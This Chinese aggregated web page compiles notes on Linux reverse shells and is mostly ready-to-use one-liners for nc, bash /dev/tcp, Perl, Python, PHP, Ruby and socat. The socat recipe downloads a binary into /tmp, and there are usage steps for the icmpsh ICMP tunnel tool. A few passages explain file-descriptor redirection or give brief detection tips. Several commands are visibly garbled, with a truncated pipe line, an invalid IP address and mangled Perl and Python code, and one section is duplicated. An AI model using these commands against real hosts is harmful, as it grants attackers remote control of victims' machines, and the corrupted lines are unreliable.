在这篇文章中,我们将带领您了解Linux下反弹shell笔记的全貌,包括linux反弹shell方法的相关情况。同时,我们还将为您介绍有关13.linux渗透之反弹shell、icmp反弹shell简
在这篇文章中,我们将带领您了解Linux下反弹shell笔记的全貌,包括linux反弹shell方法的相关情况。同时,我们还将为您介绍有关13. linux渗透之反弹shell、icmp反弹shell 简介、Linux 反弹 Shell、linux 反弹shell的知识,以帮助您更好地理解这个主题。
本文目录一览:Linux下反弹shell笔记(linux反弹shell方法)
0x00 NC命令详解
在介绍如何反弹shell之前,先了解相关知识要点。
nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流
- 可运行在TCP或者UDP模式,添加参数 —u 则调整为udP,默认为tcp
- -v 参数,详细输出
- n参数高数netcat不要DNS反向查询IP的域名
- z参数,连接成功后立即关闭连接
$ nc -v 172.31.100.7 21
netcat 命令会连接开放端口21并且打印运行在这个端口上服务的banner信息。
使用nc聊天
$nc -l 1567
netcat 命令在1567端口启动了一个tcp 服务器,所有的标准输出和输入会输出到该端口。输出和输入都在此shell中展示。
$nc 172.31.100.7 1567
不管你在机器B上键入什么都会出现在机器A上。
实测好像并不可以...
nc进行文件传输
Server:
$nc -l 1567 < file.txt
Client:
$nc -n 172.31.100.7 1567 > file.txt
好像也不行...
不管这些还是直接来反弹shell吧
0x01 NC反弹shell
正向反弹shell
服务器端
nc -lvvp 7777 -e /bin/bash
本地
nc 192.168.242.129 7777
即可获得服务器端的shell
反向反弹shell
服务端
nc -e /bin/bash 192.168.242.1 7777
本地
nc -lvvp 7777
不使用-e参数反弹
使用管道
服务端
mknod /tmp/backpipe p
/bin/sh 0/tmp/backpipe
攻击端
nc -lnvp 7777
mknod需要root用户,但是也可以通过mkfifo /tmp/backpipe也可以创建一个管道。
0x02 Bash反弹
服务端:
bash -c ''sh -i &>/dev/tcp/210.28.30.887/53 0>&1''
或者
bash -i >& /dev/tcp/192.168.242.1/7777 0>&1
攻击端:
nc -lvvp 7777
0x03 Perl反弹shell
服务端:
perl -e ''use Socket;$i="192.168.242.1";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};''
或者
perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.242.1:7777");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''
0x04 Python
python -c ''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("120.27.32.227",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);''
0x05 最后
个人觉得这几种应该就够用了,至于其他环境,再看具体情况吧,有一些环境服务器不一定有的
13. linux渗透之反弹shell
实验环境
CentOS 6.5:192.168.0.3
kali2.0:192.168.0.4
方法1:
反弹shell命令如下:
bash -i >& /dev/tcp/ip/port 0>&1
首先,使用nc在kali上监听端口:
nc -lvp 7777
然后在CentOS6.5下输入:
bash -i >& /dev/tcp/192.168.0.4/7777 0>&1
可以看到shell成功反弹到了kali上面,可以执行命令:
在解释这条反弹shell的命令原理之前,首先需要掌握几个点。
linux文件描述符:linux shell下有三种标准的文件描述符,分别如下:
0 - stdin 代表标准输入,使用<或<<
1 - stdout 代表标准输出,使用>或>>
2 - stderr 代表标准错误输出,使用2>或2>>
还有就是>&这个符号的含义,最好的理解是这样的:
当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符
也有师傅把&这个符号解释为是取地址符号,学过C语言的小伙伴们都知道&这个符号代表取地址符,在C++中&符号还代表为引用,这样做是为了区分文件描述符和文件,比如查看一个不存在的文件,要把标准错误重定向到标准输出,如果直接cat notexistfile 2>1
的话,则会将1看作是一个文件,将标准错误输出输出到1这个文件里而不是标准输出,而&的作用就是为了区分文件和文件描述符:
理解了上面这些知识,下面来解释一下这一条反弹shell的命令首先,bash -i
代表在本地打开一个bash,然后就是/dev/tcp/ip/port
, /dev/tcp/
是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>&后面跟上/dev/tcp/ip/port
这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出,这个时候我们在本机CentOS输入命令,输出以及错误输出的内容就会被传递显示到远程。
在本地输入设备(键盘)输入命令,在本地看不到输入的内容,但是键盘输入的命令已经被输出到了远程,然后命令的执行结果或者错误也会被传到远程,查看远程,可以看到标准输出和标准错误输出都重定向到了远程:
下面在该命令后面加上0>&1
,代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port
这个文件,也就是远程,那么标准输入也就重定向到了远程,这样的话就可以直接在远程输入了:
那么,0>&2也是可以的,代表将标准输入重定向到标准错误输出,而标准错误输出重定向到了/dev/tcp/ip/port
这个文件,也就是远程,那么标准输入也就重定向到了远程:
为了更形象的理解,下面给出了整个过程的数据流向,首先是本地的输入输出流向:
执行
bash -i >& /dev/tcp/ip/port
后
执行bash -i >& /dev/tcp/ip/port 0>&1
或者bash -i >& /dev/tcp/ip/port 0>&2
后:
方法2:
使用python反弹,反弹shell命令如下:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((''ip'',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([''/bin/bash'',''-i'']);"
首先,使用nc在kali上监听端口:
nc -lvp 7777
在CentOS下使用python去反向连接,输入:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((''192.168.0.4'',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([''/bin/bash'',''-i'']);
可以看到kali上成功反弹到了shell,可以执行一些命令:
在已经深入理解了第一种方法的原理后,下面来解释一下python反弹shell的原理。
首先使用socket与远程建立起连接,接下来使用到了os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程,dup2这个方法有两个参数,分别为文件描述符fd1和fd2,当fd2参数存在时,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,在这里可以把fd1和fd2看作是C语言里的指针,将fd1赋值给fd2,就相当于将fd2指向于s.fileno(),fileno()返回的是一个文件描述符,在这里也就是建立socket连接返回的文件描述符,经过测试可以看到值为3。
于是这样就相当于将标准输入(0)、标准输出(1)、标准错误输出(2)重定向到远程(3),接下来使用os的subprocess在本地开启一个子进程,传入参数“-i”使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样的话就可以在远程执行输入命令了。
方法3:
使用nc反弹shell,需要的条件是被反弹shell的机器安装了nc,CentOS6.5安装nc方法如下:
1、下载安装
wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download
tar -zxvf netcat-0.7.1.tar.gz -C /usr/local
cd /usr/local
mv netcat-0.7.1 netcat
cd /usr/local/netcat
./configure
make && make install
2、配置
vim /etc/profile
添加以下内容:
# set netcat path
export NETCAT_HOME=/usr/local/netcat
export PATH=$PATH:$NETCAT_HOME/bin
保存,退出,并使配置生效:
source /etc/profile
3、测试
nc -help成功
之后在kali上使用nc监听端口:
nc -lvp 7777
在CentOS上使用nc去反向连接,命令如下:
nc -e /bin/bash 192.168.0.4 7777
这里的-e后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地shell(
/bin/bash
),也就是反弹一个shell给远程,可以看到远程已经成功反弹到了shell,并且可以执行命令。
注意之前使用nc监听端口反弹shell时都会有一个警告:Warning: forward host lookup failed for bogon: Unknown host
,根据nc帮助文档的提示加上-n参数就可以不产生这个警告了,-n参数代表在建立连接之前不对主机进行dns解析。
nc -nlvp 7777
如果nc不支持-e参数的话,可以利用到linux中的管道符,首先在kali上开启监听:
nc -nvlp 6666
nc -nvlp 7777
之后在CentOS上使用nc去反向链接:
nc 192.168.0.4 6666|/bin/bash|192.168.0.4 7777
这里通过在kali上监听两个端口,然后在使用CentOS进行反向连接的时候使用到了管道符,管道符的作用是把管道符前的输出作为管道符后的输入,这样的话就可以在远程的6666端口的输入设备(键盘)输入命令,将命令输出传递至本地的
/bin/bash
,通过本地shell解释执行命令后,将命令执行的结果以及错误输入到远程的7777端口。
方法4:
使用php反弹shell,方法如下 。
首先最简单的一个办法,就是使用php的exec函数执行方法1反弹shell的命令:
php- ''exec("/bin/bash -i >& /dev/tcp/192.168.0.4/7777")''
还有一个是之前乌云知识库上的一个姿势,使用php的fsockopen去连接远程:
php -r ''$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");''
这个姿势看起来有一些难以理解,尤其是还出现了<&
这个符号,当然如果把&看着是取地址符或者是引用,那还是可以理解的,为了更方便的理解,我在这将这条命令稍微修改了一下,类似于前面的第二种方法。
有了之前的基础,我们知道3代表的是使用fsockopen函数建立socket返回的文件描述符,这里将标准输入,标准输出和标准错误输出都重定向到了远程
在CentOS上反向连接,输入:
php -r ''$sock=fsockopen("192.168.0.4",7777);exec("/bin/bash -i 0>&3 1>&3 2>&3");''
注意php反弹shell的这些方法都需要php关闭safe_mode这个选项,才可以使用exec函数。
总结
写这篇文章加上查阅资料花了一天多的时间,感觉自己现在真正的将这四种方法理解透了,能够自己去写一些反弹shell的命令了,所以付出还是值得的,网上还有不少反弹shell的命令,以后自己会不断的补充,It’s the climb!
icmp反弹shell 简介
目录
第一节 轶事
第二节 技术原理
第三节 ICMP反弹shell
第一节 轶事
首次听说icmp隧道,要从免费上网说起。当年的网费还是挺贵的,大学生上个网还是容易“破产”呀。当你的网费耗尽后,网管服务器就会拦截你的网络请求,但是只拦截了TCP和UDP协议,放过了ICMP协议,ping ip还是可以的,于是就开始琢磨利用icmp隧道将访问转发到自己的一台放置在公网中的代理,利用代理中转访问公网,实现免费上网。
当然现在使用ICMP隧道更多地是越过一些协议的限制,做一些渗透测试。
第二节 技术原理
使用ICMP协议最常见的就是ping工具,在ping www.baidu.com的时候可以看到,ICMP协议是典型的一问一答模式,本机向百度服务器发送ICMP请求包,如果请求包成功到达目的地,百度服务器则回应ICMP响应包。
ICMP(Internet Control Message Protocol)是IPv4协议族中的一个子协议,用于IP主机、路由器之间传递控制消息。控制消息是在网络通不通、主机是否可达、路由是否可用等网络本身的消息。ICMP报文以IP协议为基础,其报文格式如下:
如上图所示,ICMP协议在实际传输中数据包:20字节IP首部 + 8字节ICMP首部+ 1472字节<数据大小>38字节。对于ICMP首部细分为8位类型+8位代码+16位校验和+16位标识符+16位序列号,其中类型的取值如下,我们比较关注的是请求(取值为8)和应答(取值为0)。
最直观的做法是使用抓包工具看一下icmp包的内容,分别看一下windows和linux平台的ping发包,会有一些不同。
在win10上,ping www.baidu.com:
我比较关注的是icmp的数据区,这块区域较大,能干很多事情。win10 ping默认发送的数据是abcdefghijklmnopqrstuvwabcdefghi,共32bytes,而且ICMP响应包数据区的内容和它是一致的,这就是ping的特点,请求什么,响应什么。
而linux则不一样。先使用tcpdump -i eth0 icmp -w icmp.pcap抓包,将抓包文件使用wireshark打开分析发现,linux ping默认发送的数据大小是56bytes,前8个字节为时间戳,而剩下的48bytes相对比较复杂,每次的内容部分不一样,其中一样的是末尾的23bytes,内容为!”#$%&’()*+,-./01234567,那中间25bytes是什么内容呢?卖个关子,下一篇再讲,哈哈。
不禁要思考icmp的数据区只能这么大吗?当然不是,可以自定义的,例如通过给ping指定 -l 参数,就可以修改icmp包的大小。
从上面知道了ping包的结构,我们如果想通过ICMP协议传输数据,操作空间主要是在数据区中,而ping工具的做法是请求什么内容,就回复什么内容,所以设计反弹shell没办法用到ping工具,需要自己开发。
第三节 ICMP反弹shell
如果之前做过渗透测试的朋友,肯定知道反弹shell,ICMP反弹shell只不过是将通信协议换成了ICMP。其基本架构内容如下:
从架构图上,可以看到是传统的C/S结构,hacker在具有公网ip的VPS上启动server,在被控机器上启动client,client主动连接server,从而实现通信。为什么是client主动连接server呢?因为被控机器一般是在内网中,没有公网ip。
有没有相应的开源项目呢?当然是有的,https://github.com/inquisb/icmpsh/,这个实现了一个简单icmp反弹shell,它其中的client叫做slave,server叫做master,都是一回事。
master端部署在我自己的VPS上,具有公网ip,首先关闭自身的icmp应答:
$ sysctl -w net.ipv4.icmp_echo_ignore_all=1 (开启置为0)
然后就可以启动icmp应答程序.
第一个参数是VPS的公网ip,第二个参数是被控机器的公网ip。被控机器的公网ip,是不是有点迷糊,严格说这个ip应该是server端看到的ip,为什么需要这个参数呢?主要是为了填充icmp包的ip地址。为了得到这个ip可以从内网终端ping这个vps,在vps用tcpdump -i eth0 icmp获取这个ip,然后填写。
先在VPS启动命令:
python icmpsh_m.py 源ip 目的ip
接着在被控端启动命令:
icmpsh.exe -t 目的ip
这样ICMP反弹shell就建立了,可以远程执行命令了。
那怎么防御ICMP反弹shell呢?其实特征已经很明显了,建立ping数据区报文的白名单,不在白名单之内的拦截即可,当然还要视抓取的数据来定,可能有业务使用了icmp协议。
Linux 反弹 Shell
攻击场景
Attacker:192.168.0.106 win10
Victim:192.168.2.140 kali
NC 反弹 shell
Netcat简介
俗称瑞士军刀或NC,小巧强悍,可以读写TCP或UDP网络连接,它被设计成一个可靠的后端工具,能被其它的程序或脚本直接地或容易地驱动。
同时,nc又是一个功能丰富的网络调试和开发工具,因为它可以建立你可能用到的几乎任何类型的连接,以及一些非常有意思的内建功能。渗透测试中,linux主机一般自带nc,Windows主机需要自行上传。
姿势一
如果目标主机(受害机)支持“-e”选项的话,我们就可以直接进行利用。
ps:为什么我们要在受害机的shell中反弹shell,因为有时候我们所连接的shell,执行命令时没有回显。
在Attack上开监听端口
C:\Users\Joker>nc -l -p 2222
在受害机的shell中反弹shell
(www-data:/var/www/html) $ nc 192.168.0.106 2222 -e /bin/bash
在Attack上操作
暂时只是一个没有命令提示符的shell
在这里可以用python来得到一个有交互式的shell
python -c "import pty; pty.spawn(‘/bin/bash‘)"
ps:python2/3
姿势二
利用 nc 与 管道 |
mknod backpipe p; nc 192.168.88.129(监听IP) 8888(监听Port) 0<backpipe | /bin/bash 1>backpipe 2>backpipe
mknod backpipe p; nc 192.168.0.106 8888 0<backpipe | /bin/bash 1>backpipe 2>backpipe
使用管道符 | 连接nc的输出与bash的输入,使用自己创建的管道 backpipe连接/bin/bash的输出与nc的输入。
优点:适用于nc的 -e参数被禁。
缺点:会在当前目录下创建一个名为backpipe的管道文件,容易被管理员发现。
bash 反弹 shell
Attack监听
nc -lvvp 7777
Victim反弹
bash -i >& /dev/tcp/192.168.0.106/8888 0>&1
ps:
bash -i是打开一个交互的bash。
/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。
PHP 反弹 shell
Attack监听
nc -lvvp 4444
Victim反弹
PHP -r ‘$sock=fsockopen("192.168.0.106",4444);exec("/bin/sh -i <&3 >&3 2>&3");‘ PHP -r ‘$sock=fsockopen("192.168.0.106",4444);exec("/bin/bash -i <&3 >&3 2>&3");‘
perl 反弹 shell
Attack监听
nc -lvvp 4444
Victim反弹
perl -e ‘use Socket;$i="192.168.0.106";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};‘ perl -e ‘use Socket;$i="192.168.0.106";$p=4444;socket(S,">&S");exec("/bin/bash -i");};‘
python 反弹 shell
Attack监听
nc -lvvp 5555
Victim反弹
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.soCK_STREAM);s.connect(("192.168.0.106",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);‘ python -c ‘import socket,2);p=subprocess.call(["/bin/sh","-i"]);‘
ps:python2/3
socat 反弹 shell
Attack监听
nc -lvvp 12345
Victim反弹
下载socat到/tmp目录下
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat
给socat授予可以执行权限
chmod 755 /tmp/socat
反弹shell到目标主机的12345端口
/tmp/socat exec:‘bash -li‘,pty,stderr,setsid,sigint,sane tcp:192.168.0.106:12345
ruby 反弹 shell
Attack监听
nc -lvvp 5555
Victim反弹
ruby -rsocket -e‘f=Tcpsocket.open("192.168.0.106",5555).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f)‘
排查&杀掉反弹 shell
Search Command
→ ∮ ← :~# netstat -anop | grep ESTABLISHED
Kill Command
kill -9 4065
linux 反弹shell
Linux下反弹shell笔记
0x00 NC命令详解
在介绍如何反弹shell之前,先了解相关知识要点。
nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流
- 可运行在TCP或者UDP模式,添加参数 —u 则调整为udP,默认为tcp
- -v 参数,详细输出
- n参数高数netcat不要DNS反向查询IP的域名
- z参数,连接成功后立即关闭连接
$ nc -v 172.31.100.7 21
netcat 命令会连接开放端口21并且打印运行在这个端口上服务的banner信息。
使用nc聊天
$nc -l 1567
netcat 命令在1567端口启动了一个tcp 服务器,所有的标准输出和输入会输出到该端口。输出和输入都在此shell中展示。
$nc 172.31.100.7 1567
不管你在机器B上键入什么都会出现在机器A上。
实测好像并不可以...
nc进行文件传输
Server:
$nc -l 1567 < file.txt
Client:
$nc -n 172.31.100.7 1567 > file.txt
好像也不行...
不管这些还是直接来反弹shell吧
0x01 NC反弹shell
正向反弹shell
服务器端
nc -lvvp 7777 -e /bin/bash
本地
nc 192.168.242.129 7777
即可获得服务器端的shell
反向反弹shell
服务端
nc -e /bin/bash 192.168.242.1 7777
本地
nc -lvvp 7777
不使用-e参数反弹
使用管道
服务端
mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc 192.168.242.1 7777 1>/tmp/backpipe
攻击端
nc -lnvp 7777
mknod需要root用户,但是也可以通过mkfifo /tmp/backpipe也可以创建一个管道。
0x02 Bash反弹
服务端:
bash -c ''sh -i &>/dev/tcp/210.28.30.887/53 0>&1''
或者
bash -i >& /dev/tcp/192.168.242.1/7777 0>&1
攻击端:
nc -lvvp 7777
0x03 Perl反弹shell
服务端:
perl -e ''use Socket;$i="192.168.242.1";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};''
或者
perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.242.1:7777");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''
0x04 Python
python -c ''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("120.27.32.227",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);''
0x05 最后
个人觉得这几种应该就够用了,至于其他环境,再看具体情况吧,有一些环境服务器不一定有的
今天关于Linux下反弹shell笔记和linux反弹shell方法的讲解已经结束,谢谢您的阅读,如果想了解更多关于13. linux渗透之反弹shell、icmp反弹shell 简介、Linux 反弹 Shell、linux 反弹shell的相关知识,请在本站搜索。
本文标签: